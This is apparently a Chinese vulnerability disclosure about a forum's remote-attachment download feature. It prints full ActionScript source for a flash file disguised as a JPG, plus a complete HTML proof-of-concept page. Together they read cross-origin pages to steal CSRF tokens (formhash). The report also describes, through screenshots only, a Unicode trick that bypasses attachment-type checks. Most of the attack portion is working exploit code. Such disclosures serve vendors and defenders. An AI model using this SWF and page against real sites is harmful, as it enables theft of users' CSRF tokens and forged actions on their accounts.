### 简要描述：
两个凑一块发了
### 详细说明：
#1 跨域数据劫持（csrf token formhash盗取）
下载远程附件功能不会对文件内容（文件格式）进行检测导致可以上传恶意的swf文件（扩展名还是图片扩展名），进而进行跨域数据劫持：
伪造图片CrossDomainDataHijack.jpg相关代码：
```
package com.powerflasher.SampleApp {
import flash.external.ExternalInterface;
import flash.display.Sprite;
import flash.display.Sprite;
import flash.events.Event;
import flash.net.URLLoader;
import flash.net.URLRequest;
import flash.text.TextField;
import flash.text.TextFieldAutoSize;
import flash.xml.*;
import flash.events.IOErrorEvent;
import flash.events.*;
import flash.net.*;
/**
* @author User
*/
public class CrossDomainDataHijack extends Sprite {
private var loader:URLLoader;
public function CrossDomainDataHijack() {
loader = new URLLoader();
configureListeners(loader);
var target:String = root.loaderInfo.parameters.input;
var request:URLRequest = new URLRequest(target);
try {
loader.load(request);
} catch (error:Error) {
sendDatatoJS("Unable to load requested document; Error: " + error.getStackTrace());
}
}
private function configureListeners(dispatcher:IEventDispatcher):void {
dispatcher.addEventListener(Event.COMPLETE, completeHandler);
dispatcher.addEventListener(Event.OPEN, openHandler);
dispatcher.addEventListener(ProgressEvent.PROGRESS, progressHandler);
dispatcher.addEventListener(SecurityErrorEvent.SECURITY_ERROR, securityErrorHandler);
dispatcher.addEventListener(HTTPStatusEvent.HTTP_STATUS, httpStatusHandler);
dispatcher.addEventListener(IOErrorEvent.IO_ERROR, ioErrorHandler);
}
private function completeHandler(event:Event):void {
var loader:URLLoader = URLLoader(event.target);
//trace("completeHandler: " + loader.data);
sendDatatoJS("completeHandler: " + loader.data);
}
private function openHandler(event:Event):void {
//trace("openHandler: " + event);
sendDatatoJS("openHandler: " + event);
}
private function progressHandler(event:ProgressEvent):void {
//trace("progressHandler loaded:" + event.bytesLoaded + " total: " + event.bytesTotal);
sendDatatoJS("progressHandler loaded:" + event.bytesLoaded + " total: " + event.bytesTotal);
}
private function securityErrorHandler(event:SecurityErrorEvent):void {
//trace("securityErrorHandler: " + event);
sendDatatoJS("securityErrorHandler: " + event);
}
private function httpStatusHandler(event:HTTPStatusEvent):void {
//trace("httpStatusHandler: " + event);
sendDatatoJS("httpStatusHandler: " + event);
}
private function ioErrorHandler(event:IOErrorEvent):void {
//trace("ioErrorHandler: " + event);
sendDatatoJS("ioErrorHandler: " + event);
}
private function sendDatatoJS(data:String):void{
trace(data);
ExternalInterface.call("sendToJavaScript", data);
}
}
}
```
POC页面相关代码：
```
><head>
<title>steal CSRF tokens by upload a fake image(flash) file on target site</title>
</head><body><h1 align="center">steal CSRF tokens by upload a fake image(flash) file on targe site</h1>
<script>
function sendToJavaScript(strData){
var theDiv = document.getElementById("HijackedData");
var content = document.createTextNode(strData);
theDiv.appendChild(content);
theDiv.innerHTML += '<br/>'
//alert(strData);
}
function refreshObjectTag(){
var newURL = document.getElementById('flashFile').value +"?input="+document.getElementById('target').value;
var newObjectTag = createSwfObject(newURL,{id: 'myObject', width: 100, height: 100, 'AllowScriptAccess': 'always'},{'AllowScriptAccess': 'always'})
document.body.removeChild(document.getElementById("myObject"));
document.body.appendChild(newObjectTag);
}
var createSwfObject = function(src, attributes, parameters) {
var i, html, div, obj, attr = attributes || {}, param = parameters || {};
attr.type = 'application/x-shockwave-flash';
if (window.ActiveXObject) {
attr.classid = 'clsid:d27cdb6e-ae6d-11cf-96b8-444553540000';
param.movie = src;
}
else {
attr.data = src;
}
html = '<object';
for (i in attr) {
html += ' ' + i + '="' + attr[i] + '"';
}
html += '>';
for (i in param) {
html += '<param name="' + i + '" value="' + param[i] + '" />';
}
html += '</object>';
div = document.createElement('div');
div.innerHTML = html;
obj = div.firstChild;
div.removeChild(obj);
return obj;
};
</script>
File: <input id="flashFile" size="100" value="http://x55.me/CrossDomainDataHijack.jpg" type="text">
Page: <input id="target" size="100" value="http://x55.me/csrf.php" type="text">
<input value="start to steal some CSRF tokens" onclick="refreshObjectTag()" type="button">
<div id="HijackedData"></div>
<object id="myObject"></object>
</body></html>
```
获取formhash截图：
[<img src="https://images.seebug.org/upload/201406/1714085039b57ad052dadecf7246713abf24953a.png" alt="123.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201406/1714085039b57ad052dadecf7246713abf24953a.png)
#2
绕过附件类型限制用到的是上次有讲到的Hacking with Unicode上面的小trick。这个算BUG吧，算不上安全漏洞 起码暂时我还没能把它联系到漏洞上面。可以选择性修复：
[<img src="https://images.seebug.org/upload/201406/17141236a7f9fe8f5b7f9ff395c026d06f5f84a7.png" alt="123333.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201406/17141236a7f9fe8f5b7f9ff395c026d06f5f84a7.png)
测试：
[<img src="https://images.seebug.org/upload/201406/17141550e070cd786288bfc9df2fb2666a06626b.png" alt="12444444.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201406/17141550e070cd786288bfc9df2fb2666a06626b.png)
成功绕过：
[<img src="https://images.seebug.org/upload/201406/17141607e933c6e17d1fcfc0de4512112fd6d443.png" alt="125555555.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201406/17141607e933c6e17d1fcfc0de4512112fd6d443.png)
### 漏洞证明：
证明如上
京公网安备 11010502034610号
暂无评论